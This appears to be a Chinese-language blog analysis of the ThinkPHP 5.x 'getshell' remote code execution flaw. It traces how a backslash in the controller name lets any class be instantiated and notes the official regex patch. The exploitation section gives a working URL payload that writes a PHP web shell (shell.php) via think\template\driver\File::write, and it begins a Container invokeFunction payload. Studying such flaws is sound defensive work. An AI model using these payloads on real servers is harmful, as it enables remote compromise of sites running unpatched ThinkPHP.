Thinkphp5.x getshell分析
之前一直没时间看分析。。这下放假了有时间了。。倒过来看看tp5的分析
漏洞分析
1 | 访问 |
直接看漏洞点
thinkphp/library/think/route/dispatch/Module.php:70
跟进$controller
的走向
发现同文件下,92行,在exec
方法,使用controller
函数对控制器进行了实例化
跟进controller
函数
在
1 | 文件:thinkphp/library/think/App.php |
跟进parseModuleAndClass
函数
1 | 文件:thinkphp/library/think/App.php |
这里如果控制器名存在反斜线\,将会将其直接设置为类名
继续跟进parseClass
1 | 文件:thinkphp/library/think/App.php |
继续跟进parseName
1 | 文件:thinkphp/library/think/App.php |
这里会检测首字母是否大写,如果没有大写。就转为大写
接着讲class名进行命名空间完整返回
于是类变为app\index\controller\Index
接着回到parseModuleAndClass
函数
return了$module
和$class
接着回到controller
方法
用class_exists
函数进行判断,该类是否存在
此时,我们的类是 app\index\controller\Index
之后就会实例化类,再去调用类的方法
形如:http://127.0.0.1/index.php?s=/index/namespace\class/method
漏洞利用
\think\template\driver\File
也就是说,我们可以利用命名空间的\,去实例化一个任意的类
比如 我想要调用thinkphp\library\think\template\driver\File.php
下的write
方法
注意tp5的根命名空间
1 | 名称 描述 类库目录 |
所以说我构造payload,注意,这里要用到兼容模式的url模式去访问
因为例如访问127.0.0.1:12345/thinkphp5/public/index.php/index/\think\template\driver\file/write
浏览器会默认把 \ 变成 /, 就会报错
但是使用兼容模式就可以避免
http://127.0.0.1:12345/thinkphp5/public/index.php?
s=index/\think\template\driver\file/write?
cacheFile=shell.php
&content=%3C?php%20phpinfo();?%3E
就会再根目录下生成shell.php
\think\Container
方法:invokeFunction
call_user_func_array():
1 | 说明 |
于是可以构造
1 | 127.0.0.1:12345/thinkphp5/public/index.php? |
分别对应
1 | 模块: index |
官方补丁
1 | 文件: |
增加了对$controller
的正则过滤,导致无法再传入\think\app
这种形式的控制器